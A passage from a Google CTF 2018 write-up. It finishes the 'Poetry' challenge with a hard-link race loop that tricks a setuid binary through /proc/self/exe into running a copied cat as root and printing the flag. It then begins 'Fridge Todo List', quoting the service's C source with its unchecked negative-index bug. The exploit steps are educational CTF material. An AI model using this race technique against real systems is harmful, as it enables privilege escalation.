<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:/tmp#</span><span class="w"> </span><span class="nb">cp</span> /usr/bin/python <span class="nb">.</span>
<span class="gp">root@kali:/tmp#</span><span class="w"> </span>./python
<span class="go">Python 2.7.15+ (default, Nov 28 2018, 16:27:22)
[GCC 8.2.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
</span><span class="gp">></span><span class="o">>></span>
<span class="go">[1]+ Stopped ./python
</span><span class="gp">root@kali:/tmp#</span><span class="w"> </span><span class="nb">jobs</span> <span class="nt">-p</span>
<span class="go">3805
</span><span class="gp">root@kali:/tmp#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span> /proc/3805/exe
<span class="gp">lrwxrwxrwx 1 root root 0 Feb 24 21:27 /proc/3805/exe -></span><span class="w"> </span>/tmp/python
</code></pre></div></div>
<p>Okay, but what happens if that file is deleted? What happens to the symbolic link?</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:/tmp#</span><span class="w"> </span><span class="nb">rm</span> /tmp/python
<span class="gp">root@kali:/tmp#</span><span class="w"> </span><span class="nb">ls</span> <span class="nt">-la</span> /proc/3805/exe
<span class="gp">lrwxrwxrwx 1 root root 0 Feb 24 21:27 /proc/3805/exe -></span><span class="w"> </span><span class="s1">'/tmp/python (deleted)'</span>
</code></pre></div></div>
<p>Interesting, it seems that our application now points to <code class="language-plaintext highlighter-rouge">/tmp/python (deleted)</code>. So what would happen if we create our own file with the name <code class="language-plaintext highlighter-rouge">python (deleted)</code>, would that execute? It actually would!</p>
<p>And because the application runs itself again, if we somehow can create a hard link, and remove it during execution then the application should call our deleted file, allowing us to execute a binary of our choice as root.</p>
<p>So in this case, let’s copy over the <code class="language-plaintext highlighter-rouge">cat</code> binary and rename it to <code class="language-plaintext highlighter-rouge">exp (deleted)</code>.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Poetry#</span><span class="w"> </span>nc poetry.ctfcompetition.com 1337
<span class="go">cd /home/user
cp /bin/cat 'exp (deleted)'
</span></code></pre></div></div>
<p>Once done, let’s execute a bash script that will continuously loop. During this time, we will create a link between the <code class="language-plaintext highlighter-rouge">poetry</code> binary and a fake file called <code class="language-plaintext highlighter-rouge">exp</code> via the <a href="https://linux.die.net/man/1/ln">ln</a> function. This <code class="language-plaintext highlighter-rouge">exp</code> file will act as the <code class="language-plaintext highlighter-rouge">cat</code> binary that we copied over and renamed to <code class="language-plaintext highlighter-rouge">exp (deleted)</code>.</p>
<p>After the link is created, we will execute <code class="language-plaintext highlighter-rouge">exp</code> against the flag, and then we will remove <code class="language-plaintext highlighter-rouge">exp</code>. Once <code class="language-plaintext highlighter-rouge">exp</code> is removed the symbolic link will point to <code class="language-plaintext highlighter-rouge">exp (deleted)</code> which is the <code class="language-plaintext highlighter-rouge">cat</code> binary that we copied over, and if we are successful it should print the flag!</p>
<p>Let’s give this a go!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">while true;</span><span class="w"> </span><span class="k">do </span><span class="nb">ln</span> /home/poetry/poetry ./exp<span class="p">;</span> <span class="o">(</span> ./exp ../poetry/flag & <span class="o">)</span><span class="p">;</span> <span class="nb">rm </span>exp<span class="p">;</span> <span class="k">done</span>
<span class="go">CTF{CV3-2009-1894}
/bin/bash: line 3: ./exp: No such file or directory
/bin/bash: fork: retry: No child processes
</span></code></pre></div></div>
<p>And just like that we got the flag!</p>
<p>As a side note, <a href="https://www.cvedetails.com/cve/CVE-2009-1894/">CVE-2009-1894</a> was an actual Race Condition vulnerability in PulseAudio that utilized the same exploit as we just demonstrated.</p>
<p><strong>FLAG:</strong> CTF{CV3-2009-1894}</p>
<h2 id="fridge-todo-list">Fridge Todo List</h2>
<p align="center"><a href="/images/gctf18-pwn2-12.png"><img src="/images/gctf18-pwn2-12.png" /></a></p>
<p>Upon reading the challenge description we learn that the smart fridge 2000 has a TODO list network service that Wintermuted seems to use as a password storage medium. It’s our job to find a bug that will leak the notes and possibly reveal the password.</p>
<p>Alright with that in mind, let’s connect to the service and see what we can do.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Fridge Todo List#</span><span class="w"> </span>nc fridge-todo-list.ctfcompetition.com 1337
<span class="go">███████╗███╗ ███╗ █████╗ ██████╗ ████████╗ ███████╗██████╗ ██╗██████╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝ ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝ ╚════██╗██╔═████╗██╔═████╗██╔═████╗
███████╗██╔████╔██║███████║██████╔╝ ██║ █████╗ ██████╔╝██║██║ ██║██║ ███╗█████╗ █████╔╝██║██╔██║██║██╔██║██║██╔██║
╚════██║██║╚██╔╝██║██╔══██║██╔══██╗ ██║ ██╔══╝ ██╔══██╗██║██║ ██║██║ ██║██╔══╝ ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║
███████║██║ ╚═╝ ██║██║ ██║██║ ██║ ██║ ██║ ██║ ██║██║██████╔╝╚██████╔╝███████╗ ███████╗╚██████╔╝╚██████╔╝╚██████╔╝
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝
█████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ ██████╗███████╗██████╗ ████████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███████╗████████╗
██╔══██╗██╔══██╗██║ ██║██╔══██╗████╗ ██║██╔════╝██╔════╝██╔══██╗ ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗ ██║ ██║██╔════╝╚══██╔══╝
███████║██║ ██║██║ ██║███████║██╔██╗ ██║██║ █████╗ ██║ ██║ ██║ ██║ ██║██║ ██║██║ ██║ ██║ ██║███████╗ ██║
██╔══██║██║ ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║ ██╔══╝ ██║ ██║ ██║ ██║ ██║██║ ██║██║ ██║ ██║ ██║╚════██║ ██║
██║ ██║██████╔╝ ╚████╔╝ ██║ ██║██║ ╚████║╚██████╗███████╗██████╔╝ ██║ ╚██████╔╝██████╔╝╚██████╔╝ ███████╗██║███████║ ██║
╚═╝ ╚═╝╚═════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝╚══════╝╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝ ╚═╝
user: admin
Hi admin, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
</span><span class="gp">></span><span class="w">
</span></code></pre></div></div>
<p>It seems that the service asks for a username, I entered <code class="language-plaintext highlighter-rouge">admin</code> thinking it would do something special, but it didn’t. We also see that we have access to a few options. The remote administration option is the most interesting, so let’s see if it works.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go">Hi admin, what would you like to do?
1) Print TODO list
2) Print TODO entry
3) Store TODO entry
4) Delete TODO entry
5) Remote administration
6) Exit
</span><span class="gp">></span><span class="w"> </span>5
<span class="go">
Sorry, remote administration is not available right now.
</span></code></pre></div></div>
<p>I really don’t know what I was expecting…. Anyways, let’s go ahead and download the attachment and extract the files to see what else we have to work with.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/Google-CTF/Fridge Todo List#</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">todo todo.c
</span><span class="gp">root@kali:~/Google-CTF/Fridge Todo List#</span><span class="w"> </span>file todo
<span class="go">todo: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=62100af46a33d62b1f40ab39375b25f9062180af, not stripped
</span><span class="gp">root@kali:~/Google-CTF/Fridge Todo List#</span><span class="w"> </span>file todo.c
<span class="go">todo.c: C source, UTF-8 Unicode text
</span></code></pre></div></div>
<p>We see that we have both the <code class="language-plaintext highlighter-rouge">todo</code> binary and its source code. Upon viewing the source code we are provided with the following.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <err.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <stdbool.h>
#include <ctype.h>
#include <linux/limits.h>
</span>
<span class="k">const</span> <span class="kt">char</span> <span class="n">BANNER</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"\
███████╗███╗ ███╗ █████╗ ██████╗ ████████╗ ███████╗██████╗ ██╗██████╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ██████╗ </span><span class="se">\n</span><span class="s">\
██╔════╝████╗ ████║██╔══██╗██╔══██╗╚══██╔══╝ ██╔════╝██╔══██╗██║██╔══██╗██╔════╝ ██╔════╝ ╚════██╗██╔═████╗██╔═████╗██╔═████╗ </span><span class="se">\n</span><span class="s">\
███████╗██╔████╔██║███████║██████╔╝ ██║ █████╗ ██████╔╝██║██║ ██║██║ ███╗█████╗ █████╔╝██║██╔██║██║██╔██║██║██╔██║ </span><span class="se">\n</span><span class="s">\
╚════██║██║╚██╔╝██║██╔══██║██╔══██╗ ██║ ██╔══╝ ██╔══██╗██║██║ ██║██║ ██║██╔══╝ ██╔═══╝ ████╔╝██║████╔╝██║████╔╝██║ </span><span class="se">\n</span><span class="s">\
███████║██║ ╚═╝ ██║██║ ██║██║ ██║ ██║ ██║ ██║ ██║██║██████╔╝╚██████╔╝███████╗ ███████╗╚██████╔╝╚██████╔╝╚██████╔╝ </span><span class="se">\n</span><span class="s">\
╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝╚═╝╚═════╝ ╚═════╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═════╝ </span><span class="se">\n</span><span class="s">\
</span><span class="se">\n</span><span class="s">\
█████╗ ██████╗ ██╗ ██╗ █████╗ ███╗ ██╗ ██████╗███████╗██████╗ ████████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███████╗████████╗</span><span class="se">\n</span><span class="s">\
██╔══██╗██╔══██╗██║ ██║██╔══██╗████╗ ██║██╔════╝██╔════╝██╔══██╗ ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗ ██║ ██║██╔════╝╚══██╔══╝</span><span class="se">\n</span><span class="s">\
███████║██║ ██║██║ ██║███████║██╔██╗ ██║██║ █████╗ ██║ ██║ ██║ ██║ ██║██║ ██║██║ ██║ ██║ ██║███████╗ ██║ </span><span class="se">\n</span><span class="s">\
██╔══██║██║ ██║╚██╗ ██╔╝██╔══██║██║╚██╗██║██║ ██╔══╝ ██║ ██║ ██║ ██║ ██║██║ ██║██║ ██║ ██║ ██║╚════██║ ██║ </span><span class="se">\n</span><span class="s">\
██║ ██║██████╔╝ ╚████╔╝ ██║ ██║██║ ╚████║╚██████╗███████╗██████╔╝ ██║ ╚██████╔╝██████╔╝╚██████╔╝ ███████╗██║███████║ ██║ </span><span class="se">\n</span><span class="s">\
╚═╝ ╚═╝╚═════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝╚══════╝╚═════╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚═╝╚══════╝ ╚═╝ "</span><span class="p">;</span>
<span class="k">const</span> <span class="kt">char</span> <span class="n">MENU</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"</span><span class="se">\n</span><span class="s">\
Hi %s, what would you like to do?</span><span class="se">\n</span><span class="s">\
1) Print TODO list</span><span class="se">\n</span><span class="s">\
2) Print TODO entry</span><span class="se">\n</span><span class="s">\
3) Store TODO entry</span><span class="se">\n</span><span class="s">\
4) Delete TODO entry</span><span class="se">\n</span><span class="s">\
5) Remote administration</span><span class="se">\n</span><span class="s">\
6) Exit</span><span class="se">\n</span><span class="s">\
> "</span><span class="p">;</span>
<span class="k">const</span> <span class="kt">char</span> <span class="n">OUT_OF_BOUNDS_MESSAGE</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"Sorry but this model only supports 128 TODO list entries.</span><span class="se">\n</span><span class="s">Please upgrade to the Smart Fridge 3001 for increased capacity."</span><span class="p">;</span>
<span class="cp">#define TODO_COUNT 128
#define TODO_LENGTH 48
</span>
<span class="kt">int</span> <span class="n">todo_fd</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">username</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="kt">char</span> <span class="n">todos</span><span class="p">[</span><span class="n">TODO_COUNT</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">];</span>
<span class="kt">void</span> <span class="nf">init</span><span class="p">()</span> <span class="p">{</span>
<span class="n">system</span><span class="p">(</span><span class="s">"mkdir todos 2>/dev/null"</span><span class="p">);</span>
<span class="n">setlinebuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">read_line</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">buf_sz</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">fgets</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="n">buf_sz</span><span class="p">,</span> <span class="n">stdin</span><span class="p">))</span> <span class="p">{</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"fgets()"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">size_t</span> <span class="n">read_cnt</span> <span class="o">=</span> <span class="n">strlen</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">read_cnt</span> <span class="o">&&</span> <span class="n">buf</span><span class="p">[</span><span class="n">read_cnt</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sc">'\n'</span><span class="p">)</span> <span class="p">{</span>
<span class="n">buf</span><span class="p">[</span><span class="n">read_cnt</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">bool</span> <span class="nf">read_all</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">read_sz</span><span class="p">)</span> <span class="p">{</span>
<span class="k">while</span> <span class="p">(</span><span class="n">read_sz</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">ssize_t</span> <span class="n">num_read</span> <span class="o">=</span> <span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">read_sz</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">num_read</span> <span class="o"><=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">read_sz</span> <span class="o">-=</span> <span class="n">num_read</span><span class="p">;</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">num_read</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">write_all</span><span class="p">(</span><span class="kt">int</span> <span class="n">fd</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">buf</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">write_sz</span><span class="p">)</span> <span class="p">{</span>
<span class="k">while</span> <span class="p">(</span><span class="n">write_sz</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">ssize_t</span> <span class="n">num_written</span> <span class="o">=</span> <span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">write_sz</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">num_written</span> <span class="o"><=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"write"</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">write_sz</span> <span class="o">-=</span> <span class="n">num_written</span><span class="p">;</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">num_written</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">bool</span> <span class="nf">string_is_alpha</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(;</span> <span class="o">*</span><span class="n">s</span><span class="p">;</span> <span class="n">s</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">isalpha</span><span class="p">(</span><span class="o">*</span><span class="n">s</span><span class="p">))</span> <span class="p">{</span>
<span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">bool</span> <span class="nf">list_is_empty</span><span class="p">()</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">TODO_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">todos</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">])</span> <span class="p">{</span>
<span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">print_list</span><span class="p">()</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">list_is_empty</span><span class="p">())</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Your TODO list is empty. Enjoy your free time!"</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"+=====+=================================================================+"</span><span class="p">);</span>
<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">TODO_COUNT</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span><span class="p">(</span><span class="n">todos</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">])</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"| %3d | %-63s |</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">i</span><span class="p">,</span> <span class="o">&</span><span class="n">todos</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">]);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"+=====+=================================================================+"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">open_todos</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">todos_filename</span><span class="p">[</span><span class="n">PATH_MAX</span><span class="p">]</span> <span class="o">=</span> <span class="s">"todos/"</span><span class="p">;</span>
<span class="n">strncat</span><span class="p">(</span><span class="n">todos_filename</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">todos_filename</span><span class="p">)</span><span class="o">-</span><span class="n">strlen</span><span class="p">(</span><span class="n">todos_filename</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">todo_fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">todos_filename</span><span class="p">,</span> <span class="n">O_RDWR</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">todo_fd</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span> <span class="o">&&</span> <span class="n">read_all</span><span class="p">(</span><span class="n">todo_fd</span><span class="p">,</span> <span class="n">todos</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">todos</span><span class="p">)))</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">list_is_empty</span><span class="p">())</span> <span class="p">{</span>
<span class="n">print_list</span><span class="p">();</span>
<span class="p">}</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">todo_fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">todos_filename</span><span class="p">,</span> <span class="n">O_RDWR</span> <span class="o">|</span> <span class="n">O_CREAT</span> <span class="o">|</span> <span class="n">O_TRUNC</span><span class="p">,</span> <span class="mo">0600</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">todo_fd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">err</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"Could not create TODO storage file"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">authenticate</span><span class="p">()</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"user: "</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="n">read_line</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">username</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">string_is_alpha</span><span class="p">(</span><span class="n">username</span><span class="p">))</span> <span class="p">{</span>
<span class="n">errx</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="s">"username can only consist of [a-zA-Z]"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">read_int</span><span class="p">()</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>
<span class="n">read_line</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
<span class="k">return</span> <span class="n">atoi</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">store_todos</span><span class="p">()</span> <span class="p">{</span>
<span class="n">write_all</span><span class="p">(</span><span class="n">todo_fd</span><span class="p">,</span> <span class="n">todos</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">todos</span><span class="p">));</span>
<span class="n">close</span><span class="p">(</span><span class="n">todo_fd</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">store_todo</span><span class="p">()</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"In which slot would you like to store the new entry? "</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">></span> <span class="n">TODO_COUNT</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="n">OUT_OF_BOUNDS_MESSAGE</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"What's your TODO? "</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="n">read_line</span><span class="p">(</span><span class="o">&</span><span class="n">todos</span><span class="p">[</span><span class="n">idx</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">],</span> <span class="n">TODO_LENGTH</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">print_todo</span><span class="p">()</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Which entry would you like to read? "</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">></span> <span class="n">TODO_COUNT</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="n">OUT_OF_BOUNDS_MESSAGE</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Your TODO: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="o">&</span><span class="n">todos</span><span class="p">[</span><span class="n">idx</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">]);</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">delete_todo</span><span class="p">()</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Which TODO number did you finish? "</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">idx</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">idx</span> <span class="o">></span> <span class="n">TODO_COUNT</span><span class="p">)</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="n">OUT_OF_BOUNDS_MESSAGE</span><span class="p">);</span>
<span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">todos</span><span class="p">[</span><span class="n">idx</span><span class="o">*</span><span class="n">TODO_LENGTH</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">list_is_empty</span><span class="p">())</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Awesome, you cleared the whole list!"</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Nice job, keep it up!"</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">bool</span> <span class="nf">administration_enabled</span><span class="p">()</span> <span class="p">{</span>
<span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span> <span class="nf">admin</span><span class="p">()</span> <span class="p">{</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Sorry, remote administration is not available right now."</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
<span class="n">init</span><span class="p">();</span>
<span class="n">puts</span><span class="p">(</span><span class="n">BANNER</span><span class="p">);</span>
<span class="n">authenticate</span><span class="p">();</span>
<span class="n">open_todos</span><span class="p">();</span>
<span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="n">MENU</span><span class="p">,</span> <span class="n">username</span><span class="p">);</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">choice</span> <span class="o">=</span> <span class="n">read_int</span><span class="p">();</span>
<span class="n">puts</span><span class="p">(</span><span class="s">""</span><span class="p">);</span>
<span class="k">switch</span> <span class="p">(</span><span class="n">choice</span><span class="p">)</span> <span class="p">{</span>
<span class="k">case</span> <span class="mi">1</span><span class="p">:</span>
<span class="n">print_list</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">2</span><span class="p">:</span>
<span class="n">print_todo</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">3</span><span class="p">:</span>
<span class="n">store_todo</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">4</span><span class="p">:</span>
<span class="n">delete_todo</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">5</span><span class="p">:</span>
<span class="n">admin</span><span class="p">();</span>
<span class="k">break</span><span class="p">;</span>
<span class="k">case</span> <span class="mi">6</span><span class="p">:</span>
<span class="n">store_todos</span><span class="p">();</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Your TODO list has been stored. Have a nice day!"</span><span class="p">);</span>
